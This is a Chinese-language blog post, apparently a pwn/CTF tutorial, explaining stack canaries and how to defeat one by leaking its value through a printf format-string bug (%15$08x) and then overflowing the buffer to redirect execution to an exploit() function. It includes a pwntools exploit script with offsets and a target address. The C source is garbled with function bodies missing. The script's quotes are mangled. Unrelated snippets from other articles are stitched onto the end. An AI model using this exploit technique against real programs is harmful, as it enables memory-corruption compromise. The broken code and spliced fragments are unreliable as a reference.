如何利用printf漏洞突破canary保護

2021-10-22 16:09:45 字數 1638 閱讀 6849

原理:

1、 在所有函式呼叫發生時,向棧幀內壓入乙個額外的隨機 dword,這個隨機數被稱作

「canary」,用 ida 反彙編時,又被稱作「security cookie」。

2、 canary 位於 ebp 之前,系統還會在.data 的記憶體區域中存放乙個 canary 的副本。

3、 當棧中發生溢位時,canary 將被首先淹沒,之後才是 ebp 和返回位址。

4、 在函式返回之前,系統將執行乙個額外的安全驗證操作,稱作 security check。 5、在 security check 過程中,系統將比較棧幀中原先存放的 canary 和.data 中副本的值,若兩者不同,則說明棧中發生了溢位,系統將進入異常處理流程,函式不會正常返回。

放一下原始碼

#include

void

exploit()

void

func()

intmain()

先檢查程式保護,發現開了nx保護和canary,程式有exploit函式,我們要做的就是繞過canary保護。

檢視func函式,有兩個read函式和乙個print函式,可以構造洩露

我們在程式中檢視canary的值儲存在**,可以看到在ebp-0xc處

在print函式前面下斷點

我們可以看一下我們的canary值

使用命令%15$08x程式洩露canary值(15表示從棧頂開始的第15位數,08x表示輸出多少位數)

上面已經看到canary已經輸出來了,

我們在棧段中檢視資料stack 40

然後開始構造exp

from pwn import *

p = process("./print2")

p.sendline("%15$08x")

canary = p.recv()[:8]

print canary

canary=canary.decode(「hex」)[::-1]

canary_offset = 84

ret_offset=34

exploit_address = p32(0x080484cb)

payload = canary_offset *『a』 + canary + ret_offset * 『a』 + exploit_address

p.sendline(payload)

p.interactive()

系統安全之教你如何利用漏洞ROOT安卓手機

隨著移動網際網路的快速發展,智慧型手機 平板電腦等智慧型終端裝置逐漸普及,慢慢的融入了我們的生活。然而與此同時智慧型手機安全問題也越來越凸顯,手機支付漏洞 手機遠端定位 手機資訊洩露等問題屢見不鮮。11月9日,為期兩天的第二屆中國網際網路安全領袖峰會 cyber security summit,簡稱...

C語言如何利用陣列儲存「變數」

背景解決方法 說明眾所周知,陣列僅能儲存常量資料,包括數字常量 字元常量 字串常量。但在實際應用中,可能會遇到需要按需修改陣列中資料值的需求,此時又應該如何解決呢?通過一段時間的測試驗證,解決了專案中的該需求,於是便產生了本篇文章,也是本人的第一篇技術部落格。如果有不足或錯誤之處,還望讀者可以不吝賜...

C 如何利用反射構建Sql引數

首先呢,說到這個問題我們要知道泛型的概念,泛型呢你可以把它當成乙個引數,就是呼叫的時候傳入這個型別,接著就是獲取這個型別裡的所有屬性及值。我們先來建立乙個方法名getmysqlparame的方法,當然我這裡是以mysql的為例,有乙個引數,這個引數是我們不知道型別和屬性及值的實體,我們可以用泛型,也...